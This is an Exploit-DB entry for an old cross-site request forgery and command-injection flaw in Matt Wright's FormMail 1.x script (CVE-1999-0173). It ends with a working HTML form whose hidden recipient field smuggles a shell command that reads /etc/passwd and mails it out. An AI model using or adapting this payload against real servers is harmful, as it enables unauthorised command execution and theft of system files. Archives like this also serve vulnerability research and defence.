Matt Wright FormMail 1.x - Cross-Site Request Forgery Vulnerability

ID EDB-ID:20486
Type exploitdb
Reporter anonymous
Modified 1997-01-01T00:00:00


Matt Wright FormMail 1.x Cross-Site Request Forgery Vulnerability. CVE-1999-0173. Remote exploit for unix platform


FormMail is a widely-used web-based e-mail gateway, which allows form-based input to be emailed to a specified user.

A web server can use a remote site's FormMail script without authorization, using remote system resources or exploiting other vulnerabilities in the script. For example, this issue can be used to exploit BID 2079, "Matt Wright FormMail Remote Command Execution Vulnerability". 

<body><form method="post" action="">
<input type="hidden" name="recipient" value="; cat /etc/passwd | mail">
<input type="submit" name="submit" value="submit">